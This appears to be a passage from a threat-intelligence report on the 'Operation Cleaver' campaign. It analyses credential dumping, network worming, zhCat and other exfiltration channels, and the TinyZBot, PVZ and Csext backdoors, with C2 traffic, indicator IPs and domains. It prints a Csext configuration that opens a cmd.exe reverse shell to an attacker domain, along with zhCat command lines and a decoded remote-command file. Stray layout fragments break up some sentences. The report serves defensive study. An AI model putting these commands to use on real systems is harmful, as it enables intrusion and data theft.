2010. +The plagiarized version used in Operation Cleaver was compiled in May 2013, with a slight +modification to the public source code. This modification changed the author +s details to Zhopin +Exploit Team. +Pivoting is the process of leveraging access from one compromised computer in order to gain +access to additional systems on the target network. This can involve launching attacks from the +compromised computer, or simply abusing access once it has been gained. +Cached Credential Dumping +A very common method of pivoting on a predominantly Windows operating system based +network is to extract domain credentials which have been used on the compromised computer +from a credential cache. There are a few well-known tools which are capable of doing this given +sufficient privileges on the infected host. Two of these tools used by Cleaver are Mimikatz and +Windows Credential Editor. +zhMimikatz and MimikatzWrapper +Two similar applications were developed by Operation Cleaver in order automate the execution +of Mimikatz. These applications are zhMimikatz and MimikatzWrapper. These applications store +multiple versions of Mimikatz in their resources. When executed, they determine which version +of Mimikatz to use based on whether the computer +s version of Windows is 32-bit or 64-bit. This +technique is uncommon in malware and shows the advanced skillset of the Cleaver team. Both +tools were developed in C#. + #OPCLEAVER + zhMimikatz and MimikatzWrapper (cont.) + In the following examples, the computer name is TheComputerName, the username of the + logged in user is TheUser, and that user +s password is ThePassword. At the time of execution, + the system only has its own credentials available and no cached network credentials. + zhMimikatz + zhMimikatz executes the correct version of Mimikatz for the current system, and parses the results + for any cached credentials. + 6f20476 f64 + 44 + 20 + c + c2 + b204576696 + e6 + 96 + 86 + 546 + Figure 20: zhMimikatz + 37 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +MimikatzWrapper +Output from MimikatzWrapper is essentially the same as zhMimikatz, despite being a different +Visual Studio project. + Figure 21: The MimikatzWrapper. +The only external difference is that MimikatzWrapper also logs these results to res.txt in the +executing directory. This can make it useful for tools like the PVZ tool chain and Csext to execute +with logged results: + Figure 22: The MimikatzWrapper dumps credentials out to a file. + #OPCLEAVER + PsExec Spreading + Once an attacker has credentials extracted from the cache, whether in hash form or in plaintext + form, PsExec can be used to run commands on any other computer which accepts those domain + credentials. If this technique is combined with cached credential dumping, it can be used to jump + from computer to computer on a compromised network. + NetC (Net Crawler) + Net Crawler utilizes a cached credential dumping technique along with PsExec in order to + worm throughout a network, collecting any and all credentials that it can extract from credential + caches. It has the ability to do this with both Windows Credential Editor and Mimikatz. It starts by + first extracting cached credentials from the infected computer +s cache. Once this is complete, it + f20476 f64 + then continues to scan a set of configured IP addresses on the local subnet to determine which + 6 + 4 + IP addresses have SMB related ports open. Then an iterative methodology is applied to brute + 4 + 20 + forcing each SMB enabled target with each credential that was extracted from the cache. + c + When a positive result has been achieved, it will create a copy of itself with a modified + c2 + configuration stored as a PE resource, then send and execute the copy utilizing PsExec. This + 04576696 + copy repeats the behavior of the original, but with already discovered credentials as well as + newly discovered ones on the newly infected host. Any credentials found are reported back to + the original infection. + 6b2 + 6e + 9 + 86 + 546 + 39 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + NetC (Net Crawler) cont. + The following is a sample of some of the recovered results of Net Crawler executing on a live + network: + Figure 23: The real output of a successfully run NetC effort at a victim organization. + A more in depth analysis of Net Crawler, as part of the A Study in Bots series, will be available on + Cylance +s blog. + #OPCLEAVER + MS08-067 Exploit + MS08-067 is a vulnerability in Microsoft Windows made popular by the Conficker worm which can + be exploited by a specially crafted packet to the operating system +s RPC network interface. This + vulnerability has been patched since October 2008, but many networks have failed to update their + systems even to this day. + Operation Cleaver used a plagiarized version of a publicly available exploit for this vulnerability + developed in Python. Someone in the Cleaver team (presumed to be Nesha) modified the exploit to + read +By Nesha + Jasus + f20476 f64 + Jasus is an ARP cache poisoner developed by the Operation Cleaver team. It makes use of + 6 + 4 + WinPcap and is developed in C. Compared to some other publicly available ARP cache poisoning + 4 + 20 + utilities, Jasus is poorly developed and without many useful features. The primary positive attribute + of Jasus is its poor detection ratio by the antivirus industry. + c + c2 + Cain & Abel + 04576696 + Cain & Abel is a publicly available toolkit, which covers a wide range of functionality that assists + attackers once they have compromised a node on a network. It has the ability to dump stored and + cached credentials, and conduct attacks like ARP cache poisoning in order to capture credentials + being transmitted on the network. It also has a remotely installable trojan named Abel, which + enables some of its functionality on a remote target. + b2 + We observed the Operation Cleaver team using Cain & Abel for extracting credentials from caches + 6 + and the network when they are confident that there is little to no antivirus protection on the infected + e + target. + 96 + 6 + EXFILTRATION + 8 + 546 + Exfiltration is the process of moving information to an external site. In this context, it is the process + of stealing information without being detected. Operation Cleaver has a strong focus on stealing + confidential/privileged information, and they have utilized a few methods in order to facilitate this + objective. + 41 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +Anonymous FTP Servers +Cleaver Operations observed in 2013 mainly utilized FTP servers with anonymous access +enabled in order to pilfer large quantities of information. This allowed them to use existing +command line utilities available on their targets in order to upload information. This is a versatile +technique as it does not require any additional software which could be detected. These +FTP servers were also observed during the infection process, as infected computers were +often instructed to download additional files from these FTP servers, including backdoors and +pivoting tools. +The following IP addresses hosted FTP servers that were used in the infection of targets or in +the exfiltration of information. + 108.175.152.230 + Santa Rosa, CA, USA + 108.175.153.158 + Santa Rosa, CA, USA + 184.82.181.48 + Pilot Mountain, North Carolina, USA + 203.150.224.249 - Thailand + 64.120.208.74 - Pilot Mountain, North Carolina, USA + 64.120.208.75 - Pilot Mountain, North Carolina, USA + 64.120.208.76 - Pilot Mountain, North Carolina, USA + 64.120.208.78 - Pilot Mountain, North Carolina, USA + 66.96.252.198 - Pilot Mountain, North Carolina, USA +NetCat +NetCat is a network tool which has many valid purposes but can also be used for malicious +purposes. Its main functionality allows for a client and server communication channel, allowing +for information to be transported over the network simply. NetCat has an option when being +compiled to enable or disable the ability for NetCat to execute a command after the connection +is established. This feature can be abused to enable a reverse connecting shell, which can be +used to remotely control a target. +NetCat +s network communications are in plaintext, and could be viewed by an egress filter +looking to block the exfiltration of sensitive information. The Operation Cleaver team was +observed attempting to use NetCat to exfiltrate information as well as use it as a reverse +connecting shell. The use of NetCat was later replaced with zhCat. + #OPCLEAVER + zhCat + zhCat is a tool developed by the Operation Cleaver team which operates similarly to NetCat. Its + main purpose is to create a channel that is capable of transporting information over the network. + The changes made in zhCat allow for this information to be transferred with inline obfuscation and/ + or encryption. This makes it more difficult to detect that privileged information is being exfiltrated. + The command line help (of a particular version) shows the following options: + 6f20476 f64 + 44 + 20 + c + c2 + 04576696 + Multiple obfuscation/encryption methods are available. The +h argument enables HTTP mode. + This makes the traffic between zhCat instances look like benign HTTP traffic. For instance, if the + attackers set up a zhCat instance listening on port 1000 on 192.168.116.128 in HTTP mode, the + client instance of zhCat would use the following command: + b2 + zhcat.exe +p 1000 +i 192.168.116.128 + e6 + The server instance would use the following command: + 96 + 86 zhcat.exe +p 1000 + 546 + When we run both of these, we can send information just by typing it into the terminal of the + running application. Information can be supplied by standard input. + 43 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + zhCat (cont.) + If we observe the network communications during this transfer, we can see the following HTTP + POST request. + Note: research into ebizmba.com did not turn up any additional evidence of being involved + with the development of zhCat. + On the server side, we can see our message has been received: + If stricter egress filtering is enabled, the attackers can use zhCat to also XOR encrypt the traffic + with a shared key. These keys are stored inside zhCat. The following is the key used for XOR + encryption: + Sorry! The handle to file %s is not a valid handle any more.\nSorry! + The handle to file %s is not a valid handle any more. + The \n represents hex character 0x0A, which is a new line character. + An attacker could set up a server instance of zhCat with the following command in order to + enable both HTTP and XOR obfuscation: + zhcat.exe +p 1000 + The client instance could then be invoked with the following command: + zhcat.exe +p 1000 +i 192.168.116.128 + Once again, information can be supplied via standard input. + #OPCLEAVER + zhCat (cont.) + Upon inspecting the network traffic again, we see the following HTTP POST request. + 6 f 20476 f64 + 4 4 + 20see this information being received: + On the server side, we can + c + c2 + 04576696 + zhCat has a variety of other features such as port mirroring as well as traffic redirecting. + PLink + b2 + PLink is one of the many utilities provided in the PuTTY (SSH) suite, which has many benign + e6 + purposes. It is capable of communicating over various protocols, the most notable being SSH. + 6 + The SSH protocol is a heavily utilized encrypted protocol, most commonly used for remote + 9 + administration of UNIX based operating systems. PLink is designed to implement some of the + 6 + 8 + SSH functions related to forwarding traffic as well as other functionality. + 546 + Operation Cleaver uses PLink to forward local RDP ports to remote SSH servers. This allows them + to easily connect to RDP servers inside the networks of their victims. These RDP connections can + be used to exfiltrate information visually, as well as to remotely control the computers hosting the + RDP servers. + 45 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +SMTP +Early Cleaver operations abused SMTP in order to exfiltrate information. The sending is +performed by internally developed malware samples such as TinyZBot and Csext in order to +exfiltrate information about the infected computer, as well as requested files and keystroke +logging information. Messages were sent using an open SMTP relay at BeyondSys.com with +the sender email address dyanachear(at)beyondsys.com. This allowed the attackers to use +infrastructure that was not theirs to exfiltrate information. The known recipient addresses of this +information were testmail_00001(at)yahoo.com and TerafficAnalyzer(at)yahoo. +com. In order to deceive anyone reading these emails, they made them appear to be a spam +message that most would not think twice about. The subject used is the following: + No Prescription required. Viagra Dosages: 25, 100, 150mg. + Fast worldwide delivery. +The message used is the following: + Buy Viagra150mg x 50 tablets for only $124.99! + No Prescription required. Viagra dosages: 150, 100, 25mg. Fast + Worldwide Delivery. + See the attachment movie. + Free bonus trip. + bestviagra4u.cn +The files being exfiltrated are added to the email as attachments. +SOAP +SOAP is a sub-protocol communicated via HTTP. In relation to Operation Cleaver, it is used as the +command and control protocol for TinyZBot, which was the preferred backdoor, and underwent +long-term development. HTTP communications are often used by botnets, but it is uncommon +to use a sub-protocol such as SOAP. It is likely that SOAP was used because it is simple to +implement in C#, and has the added benefit of blending in with other benign HTTP traffic. +As part of TinyZBot +s command and control protocol, files can be exfiltrated over SOAP to the +command and control server. For more information about TinyZBot, see the Persistence section. + #OPCLEAVER + PERSISTENCE + Persistence is the means of maintaining access to a compromised network. There are limitless + methods of persistence; the following are techniques and tools for persistence used by Cleaver. + TinyZBot + TinyZBot is a backdoor developed in C#. This bot is the longest developed malware we have + analyzed from this organization. The earliest known version was compiled in January 2013 and + we continued to see new versions being created actively. The purpose of TinyZBot is to gather + information from an infected computer as well as maintain and further access into a compromised + network. + f20476 f64 + TinyZBot was developed with the clear intention of targeted campaigns. The name TinyZBot is + 6 + 4 + assumed to be referring to this project as a less versatile version of the ZeuS botnet, although + 4 + 20 + it does not exhibit the major browser injection features of ZeuS. To be clear, TinyZBot shares + no code with ZeuS or its variants, and is developed in a different programming language. The + c + majority of the code in TinyZBot was created by Cleaver. + c2 + 04576696 + TinyZBot Features + TinyZBot supports a wide array of features that continually evolved over time. For the evolution of + features, see the History section. The following is a list of supported features: + SMTP exfiltration + 2 + Log keystrokes + b + Monitor clipboard activity + 6 + Enable a SOAP-based command and control channel + e + Self-updating + 96 + Download and execute arbitrary code + Capture screenshots 86 + 546 + Extract saved passwords for Internet Explorer + Install as a service + Establish persistence by shortcut in startup folder + Provide unique malware campaign identifiers for tracking and control purposes + Deceptive execution methods + Dynamic backdoor configuration + FTP exfiltration + Security software detection + Ability to disable Avira antivirus + Ability to modify PE resources + Dynamic plugin structure + 47 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +TinyZBot Command and Control Protocol +The command and control mechanism for TinyZBot utilizes SOAP communicating over HTTP. +Potential reasons for using SOAP are: +1. SOAP-based communications are simple to implement in C#. +2. SOAP traffic could easily be considered benign traffic, as it is not commonly seen in malware. +As part of SOAP communications, a URI is specified. This is internal to the sub-protocol, and does +not necessarily reflect the URI of the host running the SOAP server (ASMX file). In the case of +TinyZBot, and many examples for developing SOAP applications, this URI is tempuri.org. +Since the first version of the SOAP-based command and control protocol was implemented, +TinyZBot used what is referred to as a +dynamic password +. The result of this is a +cryptographically hashed version of the server time (which must be obtained through a SOAP +query), the TinyZBot +s GUID, and the TinyZBot +s AppUsageID (campaign identifier). +For the command and control examples below, red text represents TCP data sent from the +TinyZBot infection while blue text represents TCP data sent from the command and control +server. The server time lookup query invokes the SOAP command GetServerTime. +POST /checkupdate.asmx HTTP/1.1 +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433) +Content-Type: text/xml; charset=utf-8 +SOAPAction: +http://tempuri(dot)org/GetServerTime +Host: microsoftactiveservices(dot)com +Content-Length: 291 +Expect: 100-continue +Connection: Keep-Alive +HTTP/1.1 100 Continue + +HTTP/1.1 200 OK +Cache-Control: private, max-age=0 +Content-Type: text/xml; charset=utf-8 +Server: Microsoft-IIS/7.5 +X-AspNet-Version: 2.0.50727 +X-Powered-By: ASP.NET +Date: Mon, 06 Oct 2014 13:36:47 GMT +Content-Length: 392 + #OPCLEAVER + TinyZBot Command and Control Protocol (cont.) + 2014-10-06T13:36:47.2193601Z + This is the first query done by a running TinyZBot instance, and needs to be done shortly before + most other queries, in order to update the dynamic password. + Commands, updates and files to drop and execute are stored as files on the SOAP server, and + access is restricted by the AppUsageID as well as the bot GUID. This allows for commands to be + 6f20476 f64 + sent to all bots for a campaign as well as individual control. The TinyZBot queries the server in + order to enumerate all files currently available to it. + 4 4 + 0 + User-Agent: Mozilla/4.0 2 + POST /checkupdate.asmx HTTP/1.1 + (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433) + c + Content-Type: text/xml; charset=utf-8 + c2 + SOAPAction: +http://tempuri(dot)org/GetFileList + Host: microsoftactiveservices(dot)com + 04576696 + Content-Length: 425 + Expect: 100-continue + HTTP/1.1 100 Continue + 00cf6217-8c7e-4598- + b155-65ebd949bba9XYZCOabefc81BDFF;1.0.0 + 6b + HTTP/1.1 200 OK Cache-Control: private, max-age=0 + e + Content-Type: text/xml; charset=utf-8 + 6 + Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 + 9 + X-Powered-By: ASP.NET Date: Mon, 06 Oct 2014 13:36:47 GMT + Content-Length: 1474 86 + 546 + [ALL]__b93c-49a1-140914084450__[0000000000000000000000000000 +0000].tmu[ALL]__b93c-49a1-140914084612__[0000000000000000000000000000 +0000].tmu[ALL]__b93c-49a1-140914084619__[00000000000000000000000000000 +000].tmu[ALL]__b93c-49a1-140914084628__[00000000000000000000000000000 +000].tmu[ALL]__b93c-49a1-140914084638__[00000000000000000000000000000 +000].tmu[ALL]__b93c-49a1-140914084644__[00000000000000000000000000000 +000].tmu[ALL]__b93c-49a1-140914084659__[000000000000000000000000000000 +00].tmu[ALL]__b93c-49a1-140914084715__[0000000000000000000000000000000 +0].tmu[ALL]__b93c-49a1-140914084732__[00000000000000000000000000000000 +].tmu[ALL]__b93c-49a1-140914084741__[00000000000000000000000000000000]. +tmu[ALL]__b93c-49a1-140914090807__[00000000000000000000000000000000].tmu[ALL]__b93c-49a1-140915103605__[00000000000000000000000000000000].tmu[ALL]__b93c-49a1-140915103610__[00000000000000000000000000000000].tmu +In order to download the file and parse for commands to execute, the TinyZBot must request the +file. The file is downloaded Base64-encoded inside of the SOAP response. +POST /checkupdate.asmx +HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol +2.0.50727.1433) +Content-Type: text/xml; charset=utf-8 +SOAPAction: +http://tempuri(dot)org/GetFile + Host: microsoftactiveservices(dot)com +Content-Length: 478 +Expect: 100-continue +HTTP/1.1 100 Continue +00cf6217-8c7e-4598-b155-65ebd949bba9XYZCOabefc81[ALL]__b93c-49a1-140914084450__ +[00000000000000000000000000000000].tmu +HTTP/1.1 200 OK +Cache-Control: private, max-age=0 +Content-Type: text/xml; charset=utf-8 +Server: Microsoft-IIS/7.5 +X-AspNet-Version: 2.0.50727 +X-Powered-By: ASP.NET Date: Mon, 06 Oct 2014 13:36:47 GMT +Content-Length: 652 +OzIwMTQwOTE0X18wODQ0NTANClJVTkNNRD1jbWQuZXhlLC9DIGlwY29uZmlnIC9hbGwgP +j4gIltJTkZPTERFUl1cZDJkYjY5NmEtMzM2Ny00Njk5LWE4MTUtZGYwOTA5OGJjNTk2LnR4dCIgMj4mMQ0KV +VBMT0FEPVtJTkZPTERFUl1cZDJkYjY5NmEtMzM2Ny00Njk5LWE4MTUtZGYwOTA5OGJjNTk2LnR4dA0KREVMR +VRFPVtJTkZPTERFUl1cZDJkYjY5NmEtMzM2Ny00Njk5LWE4MTUtZGYwOTA5OGJjNTk2LnR4dA== + + #OPCLEAVER + TinyZBot Command and Control Protocol (cont.) + The command file downloaded in this example is as follows: + ;20140914__084450 + RUNCMD=cmd.exe,/C ipconfig /all >> +[INFOLDER]\d2db696a-3367-4699-a815-df09098bc596.txt +2>&1 + UPLOAD=[INFOLDER]\d2db696a-3367-4699-a815-df09098bc596.txt + DELETE=[INFOLDER]\d2db696a-3367-4699-a815-df09098bc596.txt + The first line is a timestamp of the command. The TinyZBot command parser ignores it. The + RUNCMD line requests that cmd.exe be executed, with the command ipconfig /all being + redirected to a file in a directory designated for files to be uploaded. The UPLOAD command + requests that this file is then uploaded over SOAP to the command and control server. The + DELETE command then requests that the file be deleted from the infected system. + f20476 f64 + The following is a list of supported commands that TinyZBot responds to: + 6 + KILL 4 + 4 + COPY + REPLACE + 2 0 + DEEPKILL + GETSCREENSHOT + CREATEUPLOADLIST + UNLOADALL + RELOADALL + DELETE EXIT FORCERESTART ADDSEC + c + UPLOAD EXITFORCE FORCEEXIT REMSEC + c2 + FUPLOAD RUNAVDETECTOR UNLOADMODULE ADDKV + 04576696 + CLEARFILES RUNWAIT RELOADMODULE CHGKV + CLEAROUPUTFOLDER RUNCMD LOADMODULE REMKV + SAVECONFIG UCMD UNLOADM ADDK + SAVETOCFGFILE GETINFO RELOADM REMOVEK + RESTART GETSCREENSHOTHQ REMOVEM + RestartForce + Commands such as GETINFO are often run on newly infected systems, as they decide whether + the infection has hit the correct target. There are additional SOAP commands, but they will not be + 2 + covered in detail. The following is a list of all the SOAP commands: CheckFileMD5, GetFile, + b + GetFileList, GetServerTime, UploadFile. + e6 + 6 + Deception + 9 + 86 + 546 + TinyZBot is commonly installed using some form of deception. Recent versions use the resume- + based methods reported in the Initial Compromise sections. An additional method was used for + earlier versions. When early versions of TinyZBot were executed, they opened an image stored + in the resource section of the executable and copied the malicious TinyZBot executable to the + %AppData% directory. + Many of the images identified were of the popular Lebanese singer and actress Haifa Wehbe. The + backdoor additionally replaced the original malicious executable with an appropriately named + image file and padded the image file with null bytes in order to mirror the original file size. + 51 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + History + The earliest known version on TinyZBot was compiled on January 27, 2013. This early version + had very little functionality. It was limited to logging keystroke data, sending emails, and creating + a link in the user +s startup folder for persistence. Its method of exfiltrating the logged keystrokes + relied upon a hardcoded email address stored in the binary. The sender email address was + dyanachear(at)beyondsys.com and emails were destined for testmail_00001(at) + yahoo.com. The message was intended to look like common Viagra spam from China, but + would be sent with the keystroke logging data as attachments, as well as system information. + The initial version did not provide any means of receiving commands and was obfuscated with + SmartAssembly. The following iteration compiled on March 12, 2013, only contained minor bug + fixes. + The next version was compiled on April 24, 2013. This version starts to look more like an + average bot. A command and control protocol was established, using HTTP and SOAP for the + protocol. The command and control server for this version was located at 173.192.144.68/ + DefaultWS(dot)asmx. This new command and control protocol allowed for the addition of + quite a few other features. An update mechanism was added, and could be regularly scheduled, + so unassisted periodic update checks were automatically performed. The SOAP API used a + dynamic password mechanism, which required the computation of a simple key in order to + access certain parts of the API. The email data exfiltration method also underwent modification + to be activated at a scheduled interval. There were also some changes, which looked to be bug + fixes, such as limiting the number of times sending an email could fail. + The next day, April 25, 2013, a new version was compiled which allowed for self-deletion. + On May 14, 2013, we noticed a change which assisted in the identification of active targets. + The AppUsageId (at this point named AppType) was an identifier used by this organization in + order to differentiate between targets infected with TinyZBot, meaning they could effectively + run multiple campaigns using the same command and control server and know which target + was infected. This also allowed for separate commands to be supplied to different targets + without the need for per-bot commands. At this time, the AppUsageId was total0, but later + we observed names, which aligned with active targets. The exfiltration email address was also + changed to TerafficAnalyzer(at)yahoo.com. + On June 17, 2013, there was an addition that allowed for the loading of configuration data from + the PE +s resources. At this time, it was limited to the exfiltration email address. This version was + not obfuscated with SmartAssembly + #OPCLEAVER + History (cont.) + We do not see a new version of TinyZBot until June 7, 2014. There are quite a few notable + improvements, but nowhere near enough to indicate consistent development on the project for + a year. SmartAssembly was reused again. A method was added to detect what security related + software is installed. Avira antivirus was specifically targeted and disabled, due to its detection of + the new keystroke logger module added in this version. This keystroke logger source is publicly + available and referred to as DeadkeyLogger. + A new string encryption class is added, but the code was copied and pasted from a Microsoft + example. The ability to extract Internet Explorer passwords was added. Clipboard monitoring + code was added, but not invoked. The emailing features were removed, but the classes which + 20476 f64 + previously contained them were still present but empty. Many more options were enabled to + 6 f + be loaded from PE resources. The ability to add PE resources was added. Another version was + 4 + 4 + compiled on June 7, 2014, with no feature difference. + 0 + On June 17, 2014, we see2the first instance of Binder_1, which is aptly named, as it is a binder. + c + The legitimate application used in this version of Binder_1 was compiled on August 22, 2013, + c2 + and is a self-extracting archive of desktop wallpapers, including an image from the game Mirror + 04576696 + Edge. The TinyZBot included was the version compiled on June 7, 2014. + The version compiled on June 23, 2014, added functionality which allowed screenshots of the + desktop to be taken. + On August 2, 2014, we see another version without SmartAssembly obfuscation. A bug fix is made + to the keystroke logging method, and clipboard monitoring is enabled. + 6b2 + Three items were compiled on August 18, 2014. Two of them are TinyZBot binaries, which contain + e + a minor key logging bug fix. The third is a new Binder_1 instance, which contains one of the + 6 + TinyZBot instances compiled that day. The legitimate application included in this binder is called + 9 + Easy_resume_creator and is a legitimate application named EasyR +CreatorPro. This + 86 + version targeted a major Saudi Arabian oil company. + 546 + From August 23 to August 26, 2014, new versions of TinyZBot were compiled with the + AppUsageIds targeting major oil and gas companies in Qatar and Kuwait, Ministries of Foreign + Affairs in the Persian Gulf, and a major airline holding company in UAE. These versions of + TinyZBot moved towards a more modular architecture where each component was in its own + .NET assembly. This was presumably done to limit antivirus detection of each individual file as + well as allow for dynamic updating of specific modules. All of these were included in their own + Binder_1 instance, which also dropped Easy_resume_creator. + 53 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + History (cont.) + There also seem to be improved software engineering practices in many locations. FTP upload + support was added, with hardcoded credentials of ano:1. This FTP upload functionality points + to the command and control server, and is invoked by a command in the SOAP command and + control channel. These versions have the capability to install as a service. + On August 25, 2014, the version compiled on August 18 was submitted to VirusTotal in a ZIP + archive located at http://dl.doosan-job(dot)com/cv/Easy_Resume_Creator- + v2.0.zip. This indicates that TinyZBot is not only being installed while impersonating a r + creation suite, but is also impersonating potential employers when distributed. + On September 9, 2014, a ZIP file containing TinyZBot and a configuration targeting a major US + university with its AppUsageId was created. This was discovered on an anonymous FTP server + in the same IP range as dl.doosan-job(dot)com along with other malware. + From September 11 through September 17, 2014, some TinyZBot components were compiled, + along with a new dropper. This dropper impersonated a tool to submit a r + to Teledyne. + When executed, the user is prompted to enter personal information, and at the end is given a + button to submit the r + to Teledyne, although nothing is actually submitted. While the user + enters this information, their machine is infected with TinyZBot. The AppUsageIds for these + versions target a major US-based university as well as an Israeli aerospace company. These + versions began to include a new method of installing as a service. The service runs with the + name Network Connectivity Manager. + Interesting Notes + TinyZBot, as well as some other tools (Csext, Net Crawler) initially would not run without a + command line parameter set. This was likely to avoid detonation-based detection engines. This + command line parameter was opensesemi which is often stored in the application +s code in + an obfuscated manner. The binders and droppers for TinyZBot provided this command line + argument and others when executing. + TinyZBot uses a dynamic mutex. This was accomplished by combining a static preset prefix with + the active process ID. This allowed supplemental tools to keep TinyZBot running by enumerating + every process and checking if the process ID and mutex prefix existed. If no mutex and process + pair was located, another TinyZBot instance would be started. + #OPCLEAVER + Command and Control Servers + + 88.150.214.168, United Kingdom, microsoftactiveservices(dot)com + + 95.211.241.249, Amsterdam, Noord-Holland, Netherlands + + 88.150.214.166, United Kingdom + + 173.192.144.68, Seattle, Washington, USA + + 188.227.180.213, United Kingdom + + 192.111.145.197, Rochester, New York, USA + Backdoors + Multiple backdoors were used by this organization. These are scripts or applications that allowed + for command or code execution outside of the victim network. Many of their backdoors were web + f20476 f64 + applications, added to web servers, so commands can be executed from a browser or client able + 6 + 4 + to communicate with them. This group includes the results of the Shell Creator mentioned in the + 4 + 20 + Attribution section, as well as ASPX backdoors used by Nesha. A PHP shell was also observed, + which also included attribution to Nesha in its hashed password. + c + c2 + An ASPX backdoor named Zh0uSh311 was located on live servers as well as recovered from + 04576696 + a staging server. This backdoor does not require authentication, and its use appears to be + straightforward. Its functionality breaks down into three fairly standard components: SQL queries, + executing commands, and uploading files. + 6b2 + 6e + 9 + 86 + 546 + Figure 24: The ASPX backdoor named +Zh0uSh3ll +, allowing SQL queries. + 55 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + Figure 25: The ASPX backdoor named +Zh0uSh3ll +, allowing file + This organization utilized backdoors which masqueraded as varying versions of Notepad. They + replace the existing Notepad.exe on the infected machine, and when run they call out to a + remote server and execute any shell code returned by the remote server. There will be a detailed + analysis of these backdoors posted to Cylance +s blog in the future. + PVZ + PVZ is a name for a set of executables used together to create a botnet. The name PVZ was + assigned by us as this is one of the few tools this organization has not named themselves. + #OPCLEAVER + PVZ (cont.) + The components are as follows: + PVZ-In + PVZ-Out + Syn Flooder + LoggerModule + XYNTService + Jasus + XYNTService was not developed by the Cleaver team, but instead is a publicly available project + which executes an executable as a service. + PVZ-In 6f20476 f64 + 4 4 + The purpose of PVZ-In 2 + 0 + is to communicate with a command and control server. Communication + c + is primarily unidirectional, as little information is provided from the bot to its command and + c2 + control server. The known command and control server is located at http://kundenpflege. + 04576696 + menrad(dot)de/js/jquery/default.aspx and the command and control protocol only uses + HTTP. The commands as well as infected computer information are transferred in the Content- + Disposition HTTP header, making the traffic easy to pass over as benign. + When a command is received from the server, the results are stored in a central location on disk + that the PVZ tools utilize. Command functionality is limited to executing supplied commands, + downloading and executing executables as well as self-updating. + b2 + The debug file path for PVZ-In is: + e6 + 6 + C:\Users\parviz\documents\visual studio 2010\Projects\BotManager\ + 9 + Release\BotManager.pdb 6 + 8 + 546 + PVZ-In has been observed using the file name ossisvc.exe. + PVZ-Out + PVZ-Out is the other half of the command and control channel, primarily uploading results of + commands and keystroke logging data to a remote server. The known command and control server + for PVZ-Out is located at http://www.gesunddurchsjahr(dot)de/tor/default.aspx. + Much like PVZ-In, this command and control channel communicates with the Content-Disposition + HTTP header, but for file data, POST data is supplied. + 57 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +Data uploaded is often compressed, which can make it more difficult to detect the exfiltration of +sensitive information. +The debug file path for PVZ-Out is: +C:\Users\Parviz\documents\visual studio 2010\Projects\SendModule\ +Release\SendModule.pdb +PVZ-Out has been observed with the file name osppsvc.exe. +SYN Flooder +SYN Flooder is a simple network based denial of service tool. It is a command line utility capable of +being invoked by PVZ-In. Targeting information is supplied via command line parameters. +The debug file path for SYN Flooder is: +C:\Users\parviz\Documents\Visual Studio 2010\Projects\socket-test\ +Release\socket-test.pdb +SYN Flooder has been observed using the name ossysvc.exe. +Logger Module +Logger Module observes the user +s actions and records them to a file. The recorded actions include +mouse clicks, active windows, keypresses, as well as clipboard data. The resulting log is written out +to a location where PVZ-Out can exfiltrate it to its command and control server. Logger Module has +been observed using the name ospcsvc.exe. +The following command and control servers for Logger Module have been observed: +212.87.154.14, Baden-Wurttemberg, Germany, kundenpflege.menrad(dot)de +212.87.154.12, Baden-Wurttemberg, Germany, www.gesunddurchsjahr(dot)de +wndTest +WndTest is the evolution of the PVZ tool chain into a single executable. The tool chain is minimized +down to a command and control communications, keystroke logging, and clipboard monitoring. +The command and control still supports upgrading, downloading, and executing of applications, as +well as executing batch scripts. WndTest installs as a service and has been observed attempting to +impersonate Adobe Report Service. WndTest starts using PHP servers for its command and control +server, some of which are listed as defaced sites. + #OPCLEAVER + We have seen wndTest communicate with the following servers: + 209.208.97.44, Orlando, Florida, USA, www.lat(dot)am + 23.238.17.181, Tulsa, Oklahoma, USA, regulatorfix(dot)com + 209.208.97.44, Orlando, Florida, USA, www.asiess(dot)com + 198.50.100.210, Quebec, Canada, halon(dot)com.br + 207.182.142.68, Columbus, Ohio, USA + 95.211.191.247, Amsterdam, Noord-Holland, Netherlands + Csext + Csext is a backdoor application developed in C# which runs as a service. Its primary functionality + is based on commands supplied by its configuration file. The configuration file is able to store + 6f20476 f64 + specific commands, which are intended to run at particular times. A recovered configuration is as + follows: + 44 + 20 + domain1=srv01.microsoftwindowsupdate(dot)net,check.html,3 + %% + c + c2 + {0}\{zhname}$$ -h -x -i {domain1} -p 443 -e c:\windows\system32\cmd. + 04576696 + exe ,taskkill.exe$$/F /PID {pid},00:29,00:35 + %% + ## + This configuration executes zhCat to connect back to srv01.microsoftwindowsupdate(dot)net (a + deceptive domain owned by this group with falsified Whois data attributing to Microsoft Investor + Relations) with XORed communication using the HTTP protocol on TCP port 443. This zhCat + 2 + instance is running cmd.exe, effectively making it a reverse connecting shell. This command + b + runs at 00:29 in the morning, and is killed by taskkill at 00:35. This gives the attackers a + 6 + predictable method to regain access to a compromised network if they ever lose access. + 6e + 9 + Csext also has email functionality similar to TinyZBot. This email functionality is used to exfiltrate + 6 + the results of commands from the command file which can also include requests like gathering + 8 + user information. 546 + We have seen Csext configured to communicate with the following servers: + 78.47.102.90, Germany, srv01.microsoftwindowsupdate(dot)net + 174.36.195.158, Washington D.C, USA, 